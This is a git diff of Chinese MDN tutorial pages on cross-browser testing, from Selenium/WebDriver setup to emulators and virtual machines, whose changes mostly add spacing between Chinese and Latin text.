+那可能不是你的错误——如果是一个浏览器的 Bug,那就希望厂商尽快修复它。也许它已经被修复了——例如若一个 Bug 存在于 Firefox 版本 49,但 Firefox Nightly 中已经不存在了。如果还未修复,你可能需要提交一个 Bug 报告。
-如果是你的错误,你需要修复它!查出导致该Bug的原因(再次,查阅Debugging HTML,Debugging CSS,和What went wrong? Troubleshooting JavaScript)。当你找到原因,你需要决定如何在产生问题的浏览器中解决它——你不能直接改掉问题代码,因为这会在其他浏览器中导致问题。普遍做法是以某种方式分叉代码,例如用Javascript功能检测代码来检测问题功能不运行的情况,并运行一些在那些情况下生效的代码。
+如果是你的错误,你需要修复它!查出导致该 Bug 的原因(再次,查阅Debugging HTML,Debugging CSS,和What went wrong? Troubleshooting JavaScript)。当你找到原因,你需要决定如何在产生问题的浏览器中解决它——你不能直接改掉问题代码,因为这会在其他浏览器中导致问题。普遍做法是以某种方式分叉代码,例如用 Javascript 功能检测代码来检测问题功能不运行的情况,并运行一些在那些情况下生效的代码。
一旦完成修复,你应该重新测试来确保你的修复工作有效,并且没有导致网站的其他地方在其他浏览器中出问题。
-报告Bug
+报告 Bug
-重申一遍,如果你发现浏览器Bug,你应该:
+重申一遍,如果你发现浏览器 Bug,你应该:
- Firefox Bugzilla
@@ -196,8 +196,8 @@指南
- 跨浏览器测试简介
- 测试策略
-- 处理常见的HTML和CSS问题
-- 处理常见的JavaScript问题
+- 处理常见的 HTML 和 CSS 问题
+- 处理常见的 JavaScript 问题
- 处理常见的可访问性问题
- 实现特征检查
- 自动测试简介
diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/javascript/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/javascript/index.html index 403249f2af15b4..052d860a9aec5b 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/javascript/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/javascript/index.html @@ -1,5 +1,5 @@ --- -title: 处理常见的 JavaScript问题 +title: 处理常见的 JavaScript 问题 slug: Learn/Tools_and_testing/Cross_browser_testing/JavaScript translation_of: Learn/Tools_and_testing/Cross_browser_testing/JavaScript --- @@ -7,17 +7,17 @@{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}}-现在我们看看如何跟踪一些常见的浏览器JavaScript问题并且如何修复它们。这个包括如何使用浏览器开发工具跟踪和修复问题、使用Polyfill或第三方库解决问题、如果让一些现代JavaScript的特性也能在旧的浏览器下面工作等。
+现在我们看看如何跟踪一些常见的浏览器 JavaScript 问题并且如何修复它们。这个包括如何使用浏览器开发工具跟踪和修复问题、使用 Polyfill 或第三方库解决问题、如果让一些现代 JavaScript 的特性也能在旧的浏览器下面工作等。
@@ -39,7 +39,7 @@
- 先决条件: +先决条件: 熟练使用 HTML, CSS, 和 JavaScript 语言; 以及一些跨浏览器测试的高级概念. - 本文目标: -可以分析一些常见的JavaScript跨浏览器问题,并且学会使用一些工具和技术修复它们 +本文目标: +可以分析一些常见的 JavaScript 跨浏览器问题,并且学会使用一些工具和技术修复它们 The trouble with JavaScript
We'll explore all these problems and more below.
-修复一般的JavaScript问题
+修复一般的 JavaScript 问题
As we said in the previous article on HTML/CSS, you should make sure your code is working generally, before going on to concentrate on the cross-browser issues. If you are not already familiar with the basics of Troubleshooting JavaScript, you should study that article before moving on. There are a number of common JavaScript problems that you will want to be mindful of, such as:
@@ -100,13 +100,13 @@其他方式
浏览器开发者工具
-浏览器开发者工具有很多功能可以帮助定位JavaScript的问题,尤其是在开发的工程中,JavaScript的Console会提醒一些错误信息
+浏览器开发者工具有很多功能可以帮助定位 JavaScript 的问题,尤其是在开发的工程中,JavaScript 的 Console 会提醒一些错误信息
-下载示例文件 broken-ajax.html 到本地 (也可以阅读 source code ). 如果你打开console面板,你将会看到下图中的输出信息:
+下载示例文件 broken-ajax.html 到本地 (也可以阅读 source code ). 如果你打开 console 面板,你将会看到下图中的输出信息:
-错误提示 "TypeError: jsonObj is null", 标示出问题出现在代码的第37行. 如果你看了源代码, 相关的代码如下面所示:
+错误提示 "TypeError: jsonObj is null", 标示出问题出现在代码的第 37 行。如果你看了源代码,相关的代码如下面所示:
function populateHeader(jsonObj) { var myH1 = document.createElement('h1'); @@ -128,7 +128,7 @@浏览器开发者工具
But this fails.
-Console相关API
+Console 相关 API
You may already know what is wrong with this code, but let's explore it some more to show how you could investigate this. For a start, there is a Console API that allows JavaScript code to interact with the browser's JavaScript console. It has a number of features available, but the main one you'll use often is
diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html index c971c2b8608e03..d4dc8f3054ffbf 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/testing_strategies/index.html @@ -39,7 +39,7 @@console.log()
, which prints a custom message to the console.是否需要测试?
防御性编码的实质是一种智能回退措施:如果某个功能或样式在浏览器中不起作用,该网站能够将其降级为不太令人兴奋的后备方案,但仍然能提供可接受的用户体验——主要目的是保证网站可以访问,即使它看起来逊色一点。
-本章的目的是建立一个供您在测试时参考的浏览器/设备图表。 您可以根据需要将其设置成简单或复杂版本——常见的方法是具有多个等级的支持,例如:
+本章的目的是建立一个供您在测试时参考的浏览器/设备图表。您可以根据需要将其设置成简单或复杂版本——常见的方法是具有多个等级的支持,例如:
- A 级别:常见/现代浏览器(仍在广泛使用):需要彻底测试并提供全功能支持。
@@ -78,7 +78,7 @@有根据地假设
如果您居住在其他地方,或者正在开发其他地方(例如某些国家或地区)的网站,那您可能需要对不同的常用浏览器进行测试。
-注意:“我老板用 Blackberry,所以我们最好确保它看起来很好” 也是一个很有说服力的理由。
+注意:“我老板用 Blackberry,所以我们最好确保它看起来很好”也是一个很有说服力的理由。
浏览器份额统计
@@ -102,11 +102,11 @@使用分析工具
但是,析历史记录可用于查找支持统计信息以影响公司网站的新版本或要添加到现有站点的新功能。如果您有这些可用,它们比上述全球浏览器统计信息更准确。
-配置Google分析
+配置 Google 分析
- 首先,您需要一个谷歌帐户。使用此帐户可登录Google Analytics。
-- 选择 Google Analytics (web))选项,然后单击"注册"按钮。
+- 选择 Google Analytics (web)) 选项,然后单击"注册"按钮。
- 在注册页面中输入您的网站/应用详细信息。这是相当直观的设置;获得正确的最重要的字段是网站 URL。这需要是您的网站/应用的根 URL。
- 填写完所有内容后,按"获取跟踪 ID"按钮,然后接受显示的服务条款。
- 下一页为您提供一些代码段和其他说明。对于基本网站,您需要做的是复制网站跟踪代码块,并将其粘贴到您要在网站上使用 Google Analytics 跟踪的所有不同页面。您可以在关闭
@@ -117,13 +117,13 @@</body>
标记下方,也可以位于其他适当位置,以防止其与应用程序代码混淆。配置Google分析
学习分析数据
-现在,您应该能够返回 Analytics Web主页,并开始查看您收集的有关网站的数据(当然,您需要留出一点时间才能真正收集一些数据)。
+现在,您应该能够返回 Analytics Web主页,并开始查看您收集的有关网站的数据 (当然,您需要留出一点时间才能真正收集一些数据)。
默认情况下,您应该看到报告选项卡,如下所示:
-有大量的数据,你可以看看使用谷歌分析––自定义报告在不同的类别,等等––我们没有时间讨论这一切。 Getting started with Analytics 为初学者提供了一些有关报告(以及更多)的有用指导。
+有大量的数据,你可以看看使用谷歌分析––自定义报告在不同的类别,等等––我们没有时间讨论这一切。 Getting started with Analytics 为初学者提供了一些有关报告 (以及更多) 的有用指导。
还应鼓励您查看左侧的不同选项,并查看您可以找到哪些类型的数据。例如,您可以通过从左侧菜单中选择" Audience > Technology > Browser & OS"来了解用户正在使用的浏览器和操作系统。
@@ -133,16 +133,16 @@学习分析数据
其他注意事项
-您可能还应包括其他注意事项。您绝对应该将辅助功能作为 A 级测试要求(我们将在处理常见辅助功能问题一文中介绍您应该测试的内容)
+您可能还应包括其他注意事项。您绝对应该将辅助功能作为 A 级测试要求 (我们将在处理常见辅助功能问题一文中介绍您应该测试的内容)
-此外,您可能还有其他注意事项。如果要创建某种公司 Intranet,以便向经理提供销售数据,并且例如,所有经理都提供了 Windows 手机,则可能需要将移动 IE 支持作为优先事项。
+此外,您可能还有其他注意事项。如果要创建某种公司 Intranet,以便向经理提供销售数据,并且例如,所有经理都提供了 Windows 手机,则可能需要将移动 IE 支持作为优先事项。
最终的支持图表
因此,我们的最终支持图表最终将如下所示:
-
@@ -155,9 +155,9 @@- A 级:适用于 Windows/Mac 的 Chrome 和 Firefox、适用于 Mac 的 Safari、Windows 的"边缘"和"IE"(每个版本的最后两个版本)、iPhone/iPad 的 iOS Safari、手机/平板电脑上的 Android 股票浏览器(最后两个版本)、适用于 Android 的 Chrome 和 Firefox(最后两个版本)在手机平板电脑上.通过常见测试的可访问性。
+- A 级:适用于 Windows/Mac 的 Chrome 和 Firefox、适用于 Mac 的 Safari、Windows 的"边缘"和"IE"(每个版本的最后两个版本)、iPhone/iPad 的 iOS Safari、手机/平板电脑上的 Android 股票浏览器 (最后两个版本)、适用于 Android 的 Chrome 和 Firefox(最后两个版本) 在手机平板电脑上。通过常见测试的可访问性。
- B 级:IE 8 和 9 用于 Windows,Opera Mini。
- C 级:Opera,其他合适的现代浏览器。
你想要测试什么?
-此功能的测试标准可以这样编写:
+此功能的测试标准可以这样编写:
-A 级和 B 级:
+A 级和 B 级:
-
- 按钮应该由用户的主要控制机制激活,不管它是什么 ––这应该包括鼠标、键盘和触摸
@@ -166,80 +166,80 @@你想要测试什么?
- 使用屏幕阅读器的视障用户应该能够访问文本。
A 级:
+A 级:
-
- 信息框在出现/消失时应平滑地动画。
- 渐变和文本阴影应显示为增强框的外观。
You may notice from the text in the example that it won't work in IE8 — this is a problem according to our support chart, which you'll have to work on, perhaps by using a feature detection library to implement the functionality in a different way if the browser doesn't support CSS transitions (see Implementing feature detection, later on in the course).您可能会从示例中的文本中注意到它在 IE8 中不起作用 ––根据我们的支持图表,这是一个问题,您必须处理这个问题,如果浏览器不采用其他方式,则可能使用功能检测库以不同的方式实现功能(如果浏览器不支持 CSS 转换的话)(请参阅实现功能检测,稍后将在本课程中)。
+You may notice from the text in the example that it won't work in IE8 — this is a problem according to our support chart, which you'll have to work on, perhaps by using a feature detection library to implement the functionality in a different way if the browser doesn't support CSS transitions (see Implementing feature detection, later on in the course).您可能会从示例中的文本中注意到它在 IE8 中不起作用 ––根据我们的支持图表,这是一个问题,您必须处理这个问题,如果浏览器不采用其他方式,则可能使用功能检测库以不同的方式实现功能(如果浏览器不支持 CSS 转换的话)(请参阅实现功能检测,稍后将在本课程中)。
-您可能还注意到,该按钮仅使用键盘无法使用, 这也需要纠正。也许我们可以使用一些JavaScript来实现一个键盘控件的切换,或者完全使用一些其他的方法?
+您可能还注意到,该按钮仅使用键盘无法使用,这也需要纠正。也许我们可以使用一些 JavaScript 来实现一个键盘控件的切换,或者完全使用一些其他的方法?
-这些测试条件很有用,因为:
+这些测试条件很有用,因为:
-
- 当您执行测试时,它们会为您提供一组要遵循的步骤。
-- 在执行测试时,可以轻松地将它们转换为用户组要遵循的指令集(e.g. "try to active the button using your mouse, and then the keyboard...")–– 请参阅下面的 用户测试。
-- 它们还可以为编写自动测试提供基础。如果您确切知道要测试的内容以及成功条件是什么(请参阅使用自动化工具自动执行浏览器测试,请稍后在系列中)编写此类测试。
+- 当您执行测试时,它们会为您提供一组要遵循的步骤。
+- 在执行测试时,可以轻松地将它们转换为用户组要遵循的指令集 (e.g. "try to active the button using your mouse, and then the keyboard...")–– 请参阅下面的 用户测试。
+- 它们还可以为编写自动测试提供基础。如果您确切知道要测试的内容以及成功条件是什么 (请参阅使用自动化工具自动执行浏览器测试,请稍后在系列中) 编写此类测试。
建立一个测试实验室
-执行浏览器测试的一个选项是自己进行测试。为此,您可能需要使用实际物理设备和模拟环境的组合(使用仿真器或虚拟机)。
+执行浏览器测试的一个选项是自己进行测试。为此,您可能需要使用实际物理设备和模拟环境的组合 (使用仿真器或虚拟机)。
真实设备
-通常最好让一个实际的设备运行您要测试的浏览器 , 这在行为和整体用户体验方面提供了最高的准确性。对于合理的低级设备实验室,您可能需要以下内容:
+通常最好让一个实际的设备运行您要测试的浏览器 , 这在行为和整体用户体验方面提供了最高的准确性。对于合理的低级设备实验室,您可能需要以下内容:
-
-- Mac,安装了您需要测试的浏览器,包括火狐、Chrome、Opera 和 Safari。
-- 安装了需要测试的浏览器的 Windows 电脑,其中可能包括Edge (or IE), Chrome, Firefox和 Opera。
-- 更高规格的Android手机和平板电脑,安装了浏览器,你需要测试 - 这可能包括Chrome,火狐,和Opera Mini的Android,以及原来的Android stock浏览器。
-- 更高规格的 iOS 手机和平板电脑,并安装了您需要测试的浏览器 , 这可能包括 iOS Safari,以及适用于 iOS 的 Chrome、Firefox 和 Opera Mini。
+- Mac,安装了您需要测试的浏览器,包括火狐、Chrome、Opera 和 Safari。
+- 安装了需要测试的浏览器的 Windows 电脑,其中可能包括 Edge (or IE), Chrome, Firefox 和 Opera。
+- 更高规格的 Android 手机和平板电脑,安装了浏览器,你需要测试 - 这可能包括 Chrome,火狐,和 Opera Mini 的 Android,以及原来的 Android stock 浏览器。
+- 更高规格的 iOS 手机和平板电脑,并安装了您需要测试的浏览器 , 这可能包括 iOS Safari,以及适用于 iOS 的 Chrome、Firefox 和 Opera Mini。
如果可以获取这些选项,则以下是不错的选项:
+如果可以获取这些选项,则以下是不错的选项:
-
-- 可用的Linux PC ,以防您需要测试特定于 Linux 版本的浏览器的错误。Linux用户只使用火狐、Opera 和 Chrome。如果只有一台计算机可用,则可以考虑在单独的分区上创建运行 Linux 和 Windows 的双引导计算机。Ubuntu 的安装程序使设置起来非常简单;有关此帮助,请参阅WindowsDualBoot。
-- 几个低规格的移动设备,因此您可以测试低功率处理器上的动画等功能的性能。
+- 可用的 Linux PC ,以防您需要测试特定于 Linux 版本的浏览器的错误。Linux 用户只使用火狐、Opera 和 Chrome。如果只有一台计算机可用,则可以考虑在单独的分区上创建运行 Linux 和 Windows 的双引导计算机。Ubuntu 的安装程序使设置起来非常简单;有关此帮助,请参阅WindowsDualBoot。
+- 几个低规格的移动设备,因此您可以测试低功率处理器上的动画等功能的性能。
您的主工作计算机也可以用于安装其他工具以用于特定目的,例如辅助功能审核工具、屏幕阅读器和仿真器/虚拟机。
+您的主工作计算机也可以用于安装其他工具以用于特定目的,例如辅助功能审核工具、屏幕阅读器和仿真器/虚拟机。
-一些大型公司拥有设备实验室,这些实验室库存了大量不同的设备,使开发人员能够在非常具体的浏览器/设备组合上查找 Bug。较小的公司和个人通常负担不起如此复杂的实验室,因此倾向于使用较小的实验室、仿真器、虚拟机和商业测试应用程序。
+一些大型公司拥有设备实验室,这些实验室库存了大量不同的设备,使开发人员能够在非常具体的浏览器/设备组合上查找 Bug。较小的公司和个人通常负担不起如此复杂的实验室,因此倾向于使用较小的实验室、仿真器、虚拟机和商业测试应用程序。
我们将介绍下面的其他选项。
-注意:已做出一些努力用来创建可公开访问的设备实验室, 请参阅 Open Device Labs。
+注意:已做出一些努力用来创建可公开访问的设备实验室,请参阅 Open Device Labs。
-注意:我们还需要考虑辅助功能 — 可以在计算机上安装许多有用的工具,以方便辅助功能测试,但我们将在本课程的后面部分介绍"处理常见辅助功能问题"一文中的工具。
+注意:我们还需要考虑辅助功能 — 可以在计算机上安装许多有用的工具,以方便辅助功能测试,但我们将在本课程的后面部分介绍"处理常见辅助功能问题"一文中的工具。
模拟器
-仿真器基本上是在计算机内运行并模拟某种设备或特定设备条件的程序,允许您比查找要测试的特定硬件/软件组合更方便地执行某些测试。
+仿真器基本上是在计算机内运行并模拟某种设备或特定设备条件的程序,允许您比查找要测试的特定硬件/软件组合更方便地执行某些测试。
-仿真器可能与测试设备条件一样简单。例如,如果要对宽度/高度媒体查询进行一些快速而粗劣的测试以进行响应式设计,则可以使用 Firefox 的Responsive Design Mode。 Safari 也有类似的模式,可以通过访问 “Safari > 首选项”和"显示开发"菜单,然后选择"开发">"输入响应式设计模式"来启用。 Chrome 也有类似的功能:设备模式(请参阅Simulate Mobile Devices with Device Mode)。
+仿真器可能与测试设备条件一样简单。例如,如果要对宽度/高度媒体查询进行一些快速而粗劣的测试以进行响应式设计,则可以使用 Firefox 的Responsive Design Mode。Safari 也有类似的模式,可以通过访问“Safari > 首选项”和"显示开发"菜单,然后选择"开发">"输入响应式设计模式"来启用。 Chrome 也有类似的功能:设备模式 (请参阅Simulate Mobile Devices with Device Mode)。
-不过,您经常必须安装某种仿真器。要测试的最常见设备/浏览器如下所示:
+不过,您经常必须安装某种仿真器。要测试的最常见设备/浏览器如下所示:
-
- 用于开发Android应用程序的官方Android Studio IDE对于仅测试Google Chrome或旧版Android浏览器上的网站来说有点沉重,但它确实附带了一个强大的emulator。如果你想要更轻巧的东西,LeapDroid是Windows的一个很好的选择,Andy 是一个合理的选择,可以在Windows和Mac上运行。
-- Apple提供了一个名为Simulator 的应用程序,它运行在XCode开发环境之上,并模拟iPad / iPhone / Apple Watch / Apple TV。这包括本机iOS Safari浏览器。不幸的是,这只能在Mac上运行。
+- 用于开发 Android 应用程序的官方Android Studio IDE对于仅测试 Google Chrome 或旧版 Android 浏览器上的网站来说有点沉重,但它确实附带了一个强大的emulator。如果你想要更轻巧的东西,LeapDroid是 Windows 的一个很好的选择,Andy 是一个合理的选择,可以在 Windows 和 Mac 上运行。
+- Apple 提供了一个名为Simulator 的应用程序,它运行在XCode开发环境之上,并模拟 iPad / iPhone / Apple Watch / Apple TV。这包括本机 iOS Safari 浏览器。不幸的是,这只能在 Mac 上运行。
您也经常可以为其他移动设备环境找到模拟器,例如:
-
- Blackberry (适用于Windows,Mac OSX和Linux的模拟器)。
+- Blackberry (适用于 Windows,Mac OSX 和 Linux 的模拟器)。
- 如果要进行测试,可以单独模拟Opera Mini。
-- 适用于Windows Mobile操作系统的仿真器:请参阅Windows Phone Emulator for Windows Phone 8 和Test with the Microsoft Emulator for Windows 10 Mobile(这些仅适用于Windows)。
+- 适用于 Windows Mobile 操作系统的仿真器:请参阅Windows Phone Emulator for Windows Phone 8 和Test with the Microsoft Emulator for Windows 10 Mobile(这些仅适用于 Windows)。
@@ -251,13 +251,13 @@虚拟机
虚拟机是在台式计算机上运行的应用程序,允许您运行整个操作系统的仿真,每个操作系统都划分在自己的虚拟硬盘驱动器中(通常由主机硬盘上存在的单个大文件表示)。有许多流行的虚拟机应用程序可用,例如Parallels,VMWare和Virtual Box;我们个人喜欢后者,因为它是免费的。
-注意:您需要可用的大容量硬盘空间来运行虚拟机模拟;模拟的每个操作系统都会占用大量内存。您可能倾向于为每次安装选择所需的硬盘空间;你也可能会试图侥幸使用10GB空间,但会被建议使用50GB空间或更多,以便让操作系统运行可靠。大多数虚拟机应用程序提供的一个很好的选择是创建一个动态分配(dynamically allocated)的硬盘驱动器,它会随着需要的增长和缩小而动态改变。
+注意:您需要可用的大容量硬盘空间来运行虚拟机模拟;模拟的每个操作系统都会占用大量内存。您可能倾向于为每次安装选择所需的硬盘空间;你也可能会试图侥幸使用 10GB 空间,但会被建议使用 50GB 空间或更多,以便让操作系统运行可靠。大多数虚拟机应用程序提供的一个很好的选择是创建一个动态分配(dynamically allocated)的硬盘驱动器,它会随着需要的增长和缩小而动态改变。
要使用虚拟盒,您需要:
-
-- 获取要模拟的操作系统的安装程序磁盘或映像(例如ISO文件)。 Virtual Box无法提供这些;大多数,如Windows操作系统,是无法自由分发的商业产品。
+- 获取要模拟的操作系统的安装程序磁盘或映像(例如 ISO 文件)。Virtual Box 无法提供这些;大多数,如 Windows 操作系统,是无法自由分发的商业产品。
- 下载适用于您的操作系统的相应安装程序并进行安装。
- 打开应用程序;您将看到如下视图:
- 要创建新虚拟机,请按左上角的“新建”按钮。
@@ -265,14 +265,14 @@虚拟机
- 为新虚拟机提供名称
- 选择要在其上安装的操作系统和版本
-- 设置应分配多少RAM(我们建议使用2048MB或2GB)
+- 设置应分配多少 RAM(我们建议使用 2048MB 或 2GB)
- 创建虚拟硬盘(在包含立即创建虚拟硬盘,VDI(虚拟磁盘映像)和动态分配的三个对话框中选择默认选项)。
-- 选择虚拟硬盘的文件位置和大小(选择一个合理的名称和位置来保留它,并且大小指定大约50GB,或者您可以轻松指定)。
+- 选择虚拟硬盘的文件位置和大小(选择一个合理的名称和位置来保留它,并且大小指定大约 50GB,或者您可以轻松指定)。
现在,新的虚拟框应出现在Virtual Box UI主窗口的左侧菜单中。此时,您可以双击它以打开虚拟机––它将开始启动虚拟机,但它还没有安装操作系统。此时,您需要将对话框指向安装程序映像/磁盘,它将运行在虚拟机上安装它的步骤,就像它是真正的计算机一样。
+现在,新的虚拟框应出现在 Virtual Box UI 主窗口的左侧菜单中。此时,您可以双击它以打开虚拟机––它将开始启动虚拟机,但它还没有安装操作系统。此时,您需要将对话框指向安装程序映像/磁盘,它将运行在虚拟机上安装它的步骤,就像它是真正的计算机一样。
@@ -286,7 +286,7 @@虚拟机
您需要像处理任何实际安装一样处理此虚拟操作系统安装 - 例如,安装要测试的浏览器,安装防病毒程序以保护其免受病毒侵害。
-拥有多个虚拟机非常有用,特别是对于Windows IE / Edge测试 - 在Windows上,您无法并排安装多个版本的默认浏览器,因此您可能需要构建一个虚拟机库来处理根据需要进行不同测试,例如:
+拥有多个虚拟机非常有用,特别是对于 Windows IE / Edge 测试 - 在 Windows 上,您无法并排安装多个版本的默认浏览器,因此您可能需要构建一个虚拟机库来处理根据需要进行不同测试,例如:
- Windows 10 with Edge 14
@@ -300,7 +300,7 @@虚拟机
-注意:虚拟机的另一个好处是虚拟磁盘映像是相当独立的。如果您正在团队中工作,则可以创建一个虚拟磁盘映像,然后复制并传递它。如果它是许可产品,只需确保您拥有运行所有Windows副本或正在运行的任何其他副本所需的许可证。
+注意:虚拟机的另一个好处是虚拟磁盘映像是相当独立的。如果您正在团队中工作,则可以创建一个虚拟磁盘映像,然后复制并传递它。如果它是许可产品,只需确保您拥有运行所有 Windows 副本或正在运行的任何其他副本所需的许可证。
自动化和商业应用
@@ -330,7 +330,7 @@用户测试
- 尽可能设置单独的浏览器配置文件,禁用浏览器扩展和其他此类操作,并在该配置文件中运行测试(例如,请参阅Use the Profile Manager to create and remove Firefox profiles和Share Chrome with others or add personas)
-- 在可用的情况下运行测试时使用浏览器的私有模式功能(例如,Firefox中的Private Browsing,Chrome中的Incognito Mode),因此不会保存cookie和临时文件等内容。
+- 在可用的情况下运行测试时使用浏览器的私有模式功能(例如,Firefox 中的Private Browsing,Chrome 中的Incognito Mode),因此不会保存 cookie 和临时文件等内容。
这些步骤旨在确保您正在测试的浏览器尽可能“纯粹(pure)”,即没有安装任何可能影响测试结果的内容。
@@ -347,7 +347,7 @@总结
阅读本文后,您现在应该知道如何识别目标受众/目标浏览器列表,然后在该列表上有效地执行跨浏览器测试。
-接下来,我们将把注意力转向测试可能发现的实际代码问题,从HTML和CSS开始。
+接下来,我们将把注意力转向测试可能发现的实际代码问题,从 HTML 和 CSS 开始。
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}
@@ -359,8 +359,8 @@总结
- 跨浏览器测试简介
- 进行测试的策略
-- 处理常见的HTML和CSS问题
-- 处理常见的JavaScript问题
+- 处理常见的 HTML 和 CSS 问题
+- 处理常见的 JavaScript 问题
- 处理常见的辅助功能问题
- 执行特性检测
- 自动化测试简介
diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html index e4e50dcd89604f..8ad5a9b7463424 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/your_own_automation_environment/index.html @@ -7,7 +7,7 @@{{PreviousMenu("Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}-在这篇文章中,我们将教会您如何安装自己的自动化测试环境,并使用Selenium/WebDriver,和一种测试库(比如:selenium-webdriver for Node)运行自己的测试。我们还将着眼于如何将本地测试环境与上一篇文章中讨论的商业工具集成在一起。
+在这篇文章中,我们将教会您如何安装自己的自动化测试环境,并使用 Selenium/WebDriver,和一种测试库(比如:selenium-webdriver for Node)运行自己的测试。我们还将着眼于如何将本地测试环境与上一篇文章中讨论的商业工具集成在一起。
@@ -24,66 +24,66 @@
Selenium
-Selenium是最流行的浏览器自动化测试工具。最易使用的方法是使用基于Selenium的WebDriver API,它通过调用浏览器接口实现自动化,执行诸如“打开网页”、“移动网页上的元素”、“点击链接”、“查看链接是否打开URL”等。对于运行自动化测试来说是一个十分理想的方法。
+Selenium是最流行的浏览器自动化测试工具。最易使用的方法是使用基于 Selenium 的 WebDriver API,它通过调用浏览器接口实现自动化,执行诸如“打开网页”、“移动网页上的元素”、“点击链接”、“查看链接是否打开 URL”等。对于运行自动化测试来说是一个十分理想的方法。
-安装和使用WebDriver的方式取决于你的编程环境。常见的环境都提供有安装WebDriver的包或框架,并且支持与WebDriver通信的多语言绑定,如 Java, C#, Ruby, Python, JavaScript (Node)等。查看建立一个Selenium-WebDriver的工程了解Selenium在不同语言下建立的更多细节。
+安装和使用 WebDriver 的方式取决于你的编程环境。常见的环境都提供有安装 WebDriver 的包或框架,并且支持与 WebDriver 通信的多语言绑定,如 Java, C#, Ruby, Python, JavaScript (Node) 等。查看建立一个 Selenium-WebDriver 的工程了解 Selenium 在不同语言下建立的更多细节。
-不同的浏览器需要使用不同的驱动,来使WebDriver能够与浏览器交互并控制浏览器。查看支持Selenium的平台来了解获取浏览器驱动的信息。
+不同的浏览器需要使用不同的驱动,来使 WebDriver 能够与浏览器交互并控制浏览器。查看支持 Selenium 的平台来了解获取浏览器驱动的信息。
-我们将使用Node.js来编写和运行Selenium测试用例。Node.js是一个前端开发者都很熟悉,并且容易上手的开发环境。
+我们将使用 Node.js 来编写和运行 Selenium 测试用例。Node.js 是一个前端开发者都很熟悉,并且容易上手的开发环境。
--注意: 如果你需要了解在其他服务器端环境下使用WebDriver的方式,也可以点击支持Selenium的平台来获取更多有用的链接。
+注意: 如果你需要了解在其他服务器端环境下使用 WebDriver 的方式,也可以点击支持 Selenium 的平台来获取更多有用的链接。
在Node下建立Selenium
+在 Node 下建立 Selenium
-
- 参考上一个章节创建Node和npm,创建一个新的npm工程,取一个不同的名字, 如
-selenium-test
.- 接下来,我们需要安装一个框架来允许我们从Node中运行Selenium。我们选择selenium官方提供的 selenium-webdriver, 它的文档更新得很好,维护得也很好。如果你想要其它的选择, webdriver.io 和 nightwatch.js也都不错。要安装 selenium-webdriver,在你的工程目录下运行如下命令: +
- 参考上一个章节创建 Node 和 npm,创建一个新的 npm 工程,取一个不同的名字,如
+selenium-test
.- 接下来,我们需要安装一个框架来允许我们从 Node 中运行 Selenium。我们选择 selenium 官方提供的 selenium-webdriver, 它的文档更新得很好,维护得也很好。如果你想要其它的选择,webdriver.io 和 nightwatch.js也都不错。要安装 selenium-webdriver,在你的工程目录下运行如下命令:
npm install selenium-webdriver
--注意: 即使你已经安装过 selenium-webdriver并下载了浏览器驱动,我们仍然建议你按照步骤再来一遍,确定所有东西都是最新的。
+注意: 即使你已经安装过 selenium-webdriver 并下载了浏览器驱动,我们仍然建议你按照步骤再来一遍,确定所有东西都是最新的。
接下来,你需要下载相应的驱动,使WebDriver能控制你需要测试的浏览器. 在selenium-webdriver (第一部分的表格)页面查看如何下载。 显然,有的浏览器是OS定制的,我们将使用 Firefox 和 Chrome, 它们在主流的OS下都支持。
+接下来,你需要下载相应的驱动,使 WebDriver 能控制你需要测试的浏览器。在selenium-webdriver (第一部分的表格) 页面查看如何下载。 显然,有的浏览器是 OS 定制的,我们将使用 Firefox 和 Chrome, 它们在主流的 OS 下都支持。
-
- 下载最新版本的 GeckoDriver ( Firefox) 和 ChromeDriver 驱动.
+- 下载最新版本的 GeckoDriver ( Firefox) 和 ChromeDriver 驱动。
- 将它们解压到一个简单的目录下,如用户根目录。
-- 把
+chromedriver
和geckodriver
驱动的目录添加到你的系统PATH
变量。这应该是从你的硬盘根目录开始的一个绝对路径。举个例子,如果我们使用的是一个 Mac OS X 机器, 用户名为 bob, 我们把驱动放到了用户的根目录下,那这个路径就是/Users/bob
。- 把
chromedriver
和geckodriver
驱动的目录添加到你的系统PATH
变量。这应该是从你的硬盘根目录开始的一个绝对路径。举个例子,如果我们使用的是一个 Mac OS X 机器,用户名为 bob, 我们把驱动放到了用户的根目录下,那这个路径就是/Users/bob
。--注意: 重申一下,添加到
+PATH
的路径是到包含驱动的那一级目录,而不是驱动目录自身! 这是一个常犯的错误。注意: 重申一下,添加到
PATH
的路径是到包含驱动的那一级目录,而不是驱动目录自身!这是一个常犯的错误。在Mac OS X或大多数Linux 系统中设置
+PATH
变量的操作如下:在 Mac OS X 或大多数 Linux 系统中设置
PATH
变量的操作如下:-
-- 打开
-.bash_profile
(或.bashrc
) 文件 (如果看不到隐藏文件, 需要将它们显示出来, 查看 Mac OSX 显示/隐藏文件 或 Ubuntu 显示隐藏文件夹)。- 把下面语句粘贴到文件的最后 (就像平常在机器上更新path): +
- 打开
+.bash_profile
(或.bashrc
) 文件 (如果看不到隐藏文件,需要将它们显示出来,查看 Mac OSX 显示/隐藏文件 或 Ubuntu 显示隐藏文件夹)。- 把下面语句粘贴到文件的最后 (就像平常在机器上更新 path):
